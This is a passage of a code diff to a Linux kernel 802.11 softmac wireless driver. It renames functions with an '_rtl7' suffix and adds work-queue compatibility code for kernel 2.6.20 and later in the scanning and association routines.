NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - 